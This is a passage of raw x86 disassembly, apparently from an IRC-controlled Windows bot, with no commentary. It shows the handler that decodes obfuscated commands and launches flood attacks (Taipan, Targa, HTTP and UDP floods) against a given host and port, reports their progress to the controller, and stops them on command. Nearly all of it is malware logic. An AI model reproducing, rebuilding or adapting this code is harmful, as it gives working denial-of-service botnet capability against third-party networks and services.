		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_CD8]
		push	esi
		push	eax
		push	offset sub_40FA20
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_BD0]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	loc_408CE9
		jmp	short loc_4094A6
; ---------------------------------------------------------------------------


loc_40949E:				; CODE XREF: sub_403B2C+5981j
		push	32h
		call	dword_42F15C	; Sleep


loc_4094A6:				; CODE XREF: sub_403B2C+5970j
		cmp	[ebp+var_BB8], 0
		jz	short loc_40949E
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4094B4:				; CODE XREF: sub_403B2C+57BDj
					; sub_403B2C+57C6j ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset a2fulsVpayi0 ; "2FUlS/VPAyI0"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4094C3:				; CODE XREF: sub_403B2C+57B2j
		push	dword ptr [esi]
		push	offset aZqhijZaeza_ ; "ZqhIJ/ZaEZa."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4094DC
		push	offset aIgmp	; "IGMP"
		push	13h
		jmp	loc_40A155
; ---------------------------------------------------------------------------


loc_4094DC:				; CODE XREF: sub_403B2C+59A2j
		push	dword ptr [esi]
		push	offset aZk1tr0lpp5r0 ; "Zk1Tr0lpP5R0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4096E3
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_4096D4
		cmp	[esi+8], ebx
		jz	loc_4096D4
		cmp	[esi+0Ch], ebx
		jz	loc_4096D4
		cmp	[esi+10h], ebx
		jz	loc_4096D4
		push	14h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_409566
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI."
		jnz	short loc_40954F
		cmp	[ebp+arg_18], 0
		jnz	short loc_409559
		push	eax
		push	offset aTaipanThreads ;	"Taipan	Threads"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40954F:				; CODE XREF: sub_403B2C+5A05j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_409559:				; CODE XREF: sub_403B2C+5A0Bj
		push	[ebp+arg_C]
		push	offset aTaipanThreads ;	"Taipan	Threads"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_409566:				; CODE XREF: sub_403B2C+59F5j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_96C], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_970], eax
		cmp	eax, ebx
		lea	eax, [ebp+var_A00]
		jnz	short loc_409587
		push	dword ptr [edi+0Ch]
		jmp	short loc_409589
; ---------------------------------------------------------------------------


loc_409587:				; CODE XREF: sub_403B2C+5A54j
		push	dword ptr [edi]


loc_409589:				; CODE XREF: sub_403B2C+5A59j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_A84], eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_A80]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_97C], eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_978], eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_974], eax
		mov	ebx, offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI."
		jl	loc_409A6E
		xor	eax, eax
		xor	ecx, ecx
		cmp	[ebp+arg_60], eax
		setnz	cl
		cmp	[ebp+arg_14], eax
		mov	[ebp+var_968], ecx
		jnz	short loc_40962A
		cmp	[ebp+arg_18], eax
		jnz	short loc_409630
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_40962A:				; CODE XREF: sub_403B2C+5ACCj
		cmp	[ebp+arg_18], 0
		jz	short loc_40965A


loc_409630:				; CODE XREF: sub_403B2C+5AD1j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's"
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_40965A:				; CODE XREF: sub_403B2C+5B02j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSForDSecS ; "%s --> (%s) for %d sec's"
		push	14h
		call	sub_41BED7
		add	esp, 18h
		mov	[ebp+var_980], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_A84]
		push	esi
		push	eax
		push	offset sub_41B824
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_980]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	loc_408CE9
		jmp	short loc_4096C6
; ---------------------------------------------------------------------------


loc_4096BE:				; CODE XREF: sub_403B2C+5BA1j
		push	32h
		call	dword_42F15C	; Sleep


loc_4096C6:				; CODE XREF: sub_403B2C+5B90j
		cmp	[ebp+var_964], 0
		jz	short loc_4096BE
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4096D4:				; CODE XREF: sub_403B2C+59C6j
					; sub_403B2C+59CFj ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4096E3:				; CODE XREF: sub_403B2C+59BBj
		push	dword ptr [esi]
		push	offset a6ldraK4kds ; "6ldRA/K4kDS/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4096FC
		push	offset aTaipan	; "TaiPan"
		push	14h
		jmp	loc_409B7C
; ---------------------------------------------------------------------------


loc_4096FC:				; CODE XREF: sub_403B2C+5BC2j
		push	dword ptr [esi]
		push	offset aX_62c_3ldcp ; "X.62C.3LDCP/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_409921
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_409912
		cmp	[esi+8], ebx
		jz	loc_409912
		cmp	[esi+0Ch], ebx
		jz	loc_409912
		cmp	[esi+10h], ebx
		jz	loc_409912
		push	15h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_409786
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1"
		jnz	short loc_40976F
		cmp	[ebp+arg_18], 0
		jnz	short loc_409779
		push	eax
		push	offset aTargaThreads ; "Targa Threads"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40976F:				; CODE XREF: sub_403B2C+5C25j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_409779:				; CODE XREF: sub_403B2C+5C2Bj
		push	[ebp+arg_C]
		push	offset aTargaThreads ; "Targa Threads"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_409786:				; CODE XREF: sub_403B2C+5C15j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_153C],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1540],	eax
		cmp	eax, ebx
		lea	eax, [ebp+var_15D4]
		jnz	short loc_4097A7
		push	dword ptr [edi+0Ch]
		jmp	short loc_4097A9
; ---------------------------------------------------------------------------


loc_4097A7:				; CODE XREF: sub_403B2C+5C74j
		push	dword ptr [edi]


loc_4097A9:				; CODE XREF: sub_403B2C+5C79j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_16D8],	eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_16D4]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_1550],	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_154C],	eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_1548],	eax
		mov	ebx, offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1"
		jl	loc_409A6E
		xor	eax, eax
		xor	ecx, ecx
		cmp	[ebp+arg_60], eax
		setnz	cl
		cmp	[ebp+arg_14], eax
		mov	[ebp+var_1538],	ecx
		jnz	short loc_409854
		cmp	[ebp+arg_18], eax
		jnz	short loc_40985A
		push	dword ptr [esi+10h]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecSWit ; "%s --> (%s:%d) for %d	sec's with %d del"...
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 20h


loc_409854:				; CODE XREF: sub_403B2C+5CECj
		cmp	[ebp+arg_18], 0
		jz	short loc_40988E


loc_40985A:				; CODE XREF: sub_403B2C+5CF1j
		push	dword ptr [esi+10h]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecSWit ; "%s --> (%s:%d) for %d	sec's with %d del"...
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 20h


loc_40988E:				; CODE XREF: sub_403B2C+5D2Cj
		push	dword ptr [esi+10h]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDForDSecSWit ; "%s --> (%s:%d) for %d	sec's with %d del"...
		push	15h
		call	sub_41BED7
		add	esp, 1Ch
		mov	[ebp+var_1554],	eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_16D8]
		push	esi
		push	eax
		push	offset sub_41BB8F
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_1554]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	loc_408CE9
		jmp	short loc_409904
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_403B2C+5DDFj
		push	32h
		call	dword_42F15C	; Sleep


loc_409904:				; CODE XREF: sub_403B2C+5DCEj
		cmp	[ebp+var_1534],	0
		jz	short loc_4098FC
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_409912:				; CODE XREF: sub_403B2C+5BE6j
					; sub_403B2C+5BEFj ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_409921:				; CODE XREF: sub_403B2C+5BDBj
		push	dword ptr [esi]
		push	offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40993A
		push	offset aTarga	; "Targa"
		push	15h
		jmp	loc_409B7C
; ---------------------------------------------------------------------------


loc_40993A:				; CODE XREF: sub_403B2C+5E00j
		push	dword ptr [esi]
		push	offset aEm42x_1iszi1 ; "Em42x.1IsZI1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_409B68
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_409B59
		cmp	[esi+8], ebx
		jz	loc_409B59
		cmp	[esi+0Ch], ebx
		jz	loc_409B59
		cmp	[esi+10h], ebx
		jz	loc_409B59
		cmp	[esi+14h], ebx
		jz	loc_409B59
		push	16h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_4099CD
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aJjc1c1nn0bl0ty ; "JJc1c1nn0bL0TY84s/myQpz0"
		jnz	short loc_4099B6
		cmp	[ebp+arg_18], 0
		jnz	short loc_4099C0
		push	eax
		push	offset aHttpfThreads ; "HTTPF Threads"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_4099B6:				; CODE XREF: sub_403B2C+5E6Cj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4099C0:				; CODE XREF: sub_403B2C+5E72j
		push	[ebp+arg_C]
		push	offset aHttpfThreads ; "HTTPF Threads"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_4099CD:				; CODE XREF: sub_403B2C+5E5Cj
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_47F4],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_47F8],	eax
		cmp	eax, ebx
		lea	eax, [ebp+var_4890]
		jnz	short loc_4099EE
		push	dword ptr [edi+0Ch]
		jmp	short loc_4099F0
; ---------------------------------------------------------------------------


loc_4099EE:				; CODE XREF: sub_403B2C+5EBBj
		push	dword ptr [edi]


loc_4099F0:				; CODE XREF: sub_403B2C+5EC0j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	ebx, 3FFh
		push	ebx
		mov	[ebp+var_5094],	eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_5090]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_480C],	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_4808],	eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		push	ebx
		mov	[ebp+var_4800],	eax
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_4C90]
		push	eax
		call	sub_4222F0
		xor	eax, eax
		add	esp, 24h
		cmp	[ebp+arg_68], eax
		mov	ebx, offset aJjc1c1nn0bl0ty ; "JJc1c1nn0bL0TY84s/myQpz0"
		setnz	al
		cmp	[ebp+var_4800],	1
		mov	[ebp+var_47FC],	eax
		jge	short loc_409A78


loc_409A6E:				; CODE XREF: sub_403B2C+5AB3j
					; sub_403B2C+5CD3j
		mov	esi, offset aSNoDelay_ ; "%s No	delay."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_409A78:				; CODE XREF: sub_403B2C+5F40j
		cmp	[ebp+arg_14], 0
		jnz	short loc_409AAF
		cmp	[ebp+arg_18], 0
		jnz	short loc_409AB5
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 1Ch


loc_409AAF:				; CODE XREF: sub_403B2C+5F50j
		cmp	[ebp+arg_18], 0
		jz	short loc_409ADF


loc_409AB5:				; CODE XREF: sub_403B2C+5F56j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 1Ch


loc_409ADF:				; CODE XREF: sub_403B2C+5F87j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets."
		push	16h
		call	sub_41BED7
		add	esp, 18h
		mov	[ebp+var_4810],	eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_5094]
		push	esi
		push	eax
		push	offset loc_40DF88
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_4810]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	loc_408CE9
		jmp	short loc_409B4B
; ---------------------------------------------------------------------------


loc_409B43:				; CODE XREF: sub_403B2C+6026j
		push	32h
		call	dword_42F15C	; Sleep


loc_409B4B:				; CODE XREF: sub_403B2C+6015j
		cmp	[ebp+var_47F0],	0
		jz	short loc_409B43
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_409B59:				; CODE XREF: sub_403B2C+5E24j
					; sub_403B2C+5E2Dj ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aJjc1c1nn0bl0ty ; "JJc1c1nn0bL0TY84s/myQpz0"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_409B68:				; CODE XREF: sub_403B2C+5E19j
		push	dword ptr [esi]
		push	offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_409B91
		push	offset aHttpf	; "HTTPF"
		push	16h


loc_409B7C:				; CODE XREF: sub_403B2C+D52j
					; sub_403B2C+139Ej ...
		xor	eax, eax
		cmp	[ebp+arg_18], eax
		push	eax
		push	[ebp+arg_20]
		jnz	loc_404883
		push	eax
		jmp	loc_40A15D
; ---------------------------------------------------------------------------


loc_409B91:				; CODE XREF: sub_403B2C+6047j
		push	dword ptr [esi]
		push	offset aN3saa1expwu1 ; "n3sAa1exPWU1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_409DFE
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_409DEF
		cmp	[esi+8], ebx
		jz	loc_409DEF
		cmp	[esi+0Ch], ebx
		jz	loc_409DEF
		cmp	[esi+10h], ebx
		jz	loc_409DEF
		push	17h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_409C1B
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0"
		jnz	short loc_409C04
		cmp	[ebp+arg_18], 0
		jnz	short loc_409C0E
		push	eax
		push	offset aUdpThreads ; "UDP Threads"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_409C04:				; CODE XREF: sub_403B2C+60BAj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_409C0E:				; CODE XREF: sub_403B2C+60C0j
		push	[ebp+arg_C]
		push	offset aUdpThreads ; "UDP Threads"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_409C1B:				; CODE XREF: sub_403B2C+60AAj
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_20]
		mov	[ebp+var_27C], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_284], eax
		cmp	eax, ebx
		mov	[ebp+var_280], ecx
		lea	eax, [ebp+var_398]
		jnz	short loc_409C45
		push	dword ptr [edi+0Ch]
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C45:				; CODE XREF: sub_403B2C+6112j
		push	dword ptr [edi]


loc_409C47:				; CODE XREF: sub_403B2C+6117j
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	7Fh
		lea	eax, [ebp+var_318]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_298], eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		add	esp, 14h
		cmp	eax, ebx
		mov	[ebp+var_294], eax
		jnz	short loc_409C99
		push	2000h
		push	400h
		call	sub_41409E
		pop	ecx
		mov	[ebp+var_294], eax
		pop	ecx


loc_409C99:				; CODE XREF: sub_403B2C+6154j
		push	dword ptr [esi+10h]
		call	sub_422B5A
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_290], eax
		jnz	short loc_409CB6
		mov	[ebp+var_290], 0Ah


loc_409CB6:				; CODE XREF: sub_403B2C+617Ej
		mov	esi, [esi+14h]
		cmp	esi, ebx
		jz	short loc_409CCC
		push	esi
		call	sub_422B5A
		pop	ecx
		mov	[ebp+var_28C], eax
		jmp	short loc_409CD2
; ---------------------------------------------------------------------------


loc_409CCC:				; CODE XREF: sub_403B2C+618Fj
		mov	[ebp+var_28C], ebx


loc_409CD2:				; CODE XREF: sub_403B2C+619Ej
		mov	eax, [ebp+arg_10]
		mov	ebx, offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0"
		mov	[ebp+var_39C], eax
		lea	eax, [ebp+var_318]
		push	eax
		push	ebx
		push	offset aSS_0	; "%s %s"
		push	17h
		call	sub_41BED7
		add	esp, 10h
		mov	[ebp+var_288], eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_39C]
		push	esi
		push	eax
		push	offset sub_41EA1B
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_288]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_409D74
		cmp	[ebp+arg_14], esi
		jnz	short loc_409D52
		cmp	[ebp+arg_18], esi
		jnz	short loc_409D5B
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aSFailedToSta_3 ; "%s Failed to start thread,error: <%d>."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_409D52:				; CODE XREF: sub_403B2C+6205j
					; sub_403B2C+62BEj
		cmp	[ebp+arg_18], esi
		jz	loc_40AF54


loc_409D5B:				; CODE XREF: sub_403B2C+620Aj
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aSFailedToSta_3 ; "%s Failed to start thread,error: <%d>."
		jmp	loc_40ADA1
; ---------------------------------------------------------------------------


loc_409D6C:				; CODE XREF: sub_403B2C+624Ej
		push	32h
		call	dword_42F15C	; Sleep


loc_409D74:				; CODE XREF: sub_403B2C+6200j
		cmp	[ebp+var_274], esi
		jz	short loc_409D6C
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSendingDToSPa ; "%s Sending %d to: %s, Packet size: %d, "...
		jnz	short loc_409DB6
		cmp	[ebp+arg_18], 0
		jnz	short loc_409DC0
		push	[ebp+var_290]
		lea	eax, [ebp+var_318]
		push	[ebp+var_294]
		push	eax
		push	[ebp+var_298]
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 20h


loc_409DB6:				; CODE XREF: sub_403B2C+6259j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_409DC0:				; CODE XREF: sub_403B2C+625Fj
		push	[ebp+var_290]
		lea	eax, [ebp+var_318]
		push	[ebp+var_294]
		push	eax
		push	[ebp+var_298]
		push	ebx
		push	esi
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 20h
		xor	esi, esi
		jmp	loc_409D52
; ---------------------------------------------------------------------------


loc_409DEF:				; CODE XREF: sub_403B2C+607Bj
					; sub_403B2C+6084j ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_409DFE:				; CODE XREF: sub_403B2C+6070j
		push	dword ptr [esi]
		push	offset aBurnP75wk ; "/BURN/P75Wk/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_409E17
		push	offset off_434CCC
		push	17h
		jmp	loc_40A155
; ---------------------------------------------------------------------------


loc_409E17:				; CODE XREF: sub_403B2C+62DDj
		push	dword ptr [esi]
		push	offset aXxulc08o9rf0 ; "Xxulc08O9rf0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_409FB3
		mov	esi, offset aStopped_ ;	"Stopped."
		xor	ebx, ebx
		cmp	[ebp+arg_18], ebx
		push	esi
		push	11h
		push	ebx
		push	[ebp+arg_20]
		jnz	loc_409EF1
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_41C090
		push	esi
		push	17h
		push	ebx
		push	[ebp+arg_20]
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_41C090
		add	esp, 40h
		push	esi
		push	12h
		push	ebx
		push	[ebp+arg_20]
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_41C090
		push	esi
		push	13h
		push	ebx
		push	[ebp+arg_20]
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_41C090
		add	esp, 40h
		push	esi
		push	14h
		push	ebx
		push	[ebp+arg_20]
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_41C090
		push	esi
		push	15h
		push	ebx
		push	[ebp+arg_20]
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_41C090
		add	esp, 40h
		push	esi
		push	16h
		push	ebx
		push	[ebp+arg_20]
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		call	sub_41C090
		push	esi
		push	18h
		push	ebx
		push	[ebp+arg_20]
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]
		jmp	loc_409FA6
; ---------------------------------------------------------------------------


loc_409EF1:				; CODE XREF: sub_403B2C+630Dj
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]
		call	sub_41C090
		push	esi
		push	17h
		push	ebx
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]
		call	sub_41C090
		add	esp, 40h
		push	esi
		push	12h
		push	ebx
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]
		call	sub_41C090
		push	esi
		push	13h
		push	ebx
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]
		call	sub_41C090
		add	esp, 40h
		push	esi
		push	14h
		push	ebx
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]
		call	sub_41C090
		push	esi
		push	15h
		push	ebx
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]
		call	sub_41C090
		add	esp, 40h
		push	esi
		push	16h
		push	ebx
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]
		call	sub_41C090
		push	esi
		push	18h
		push	ebx
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]


loc_409FA6:				; CODE XREF: sub_403B2C+63C0j
		call	sub_41C090
		add	esp, 40h
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_409FB3:				; CODE XREF: sub_403B2C+62F6j
		push	dword ptr [esi]
		push	offset aKmdie1uwntq ; "KmdIe1UwntQ/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40A141
		cmp	[esi+4], eax
		jnz	short loc_409FE4
		mov	ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"


loc_409FCE:				; CODE XREF: sub_403B2C+16C0j
					; sub_403B2C+3AEFj
		cmp	[ebp+arg_14], eax
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		jnz	loc_407742
		cmp	[ebp+arg_18], eax
		jmp	loc_40772C
; ---------------------------------------------------------------------------


loc_409FE4:				; CODE XREF: sub_403B2C+649Bj
		push	18h
		call	sub_41C254
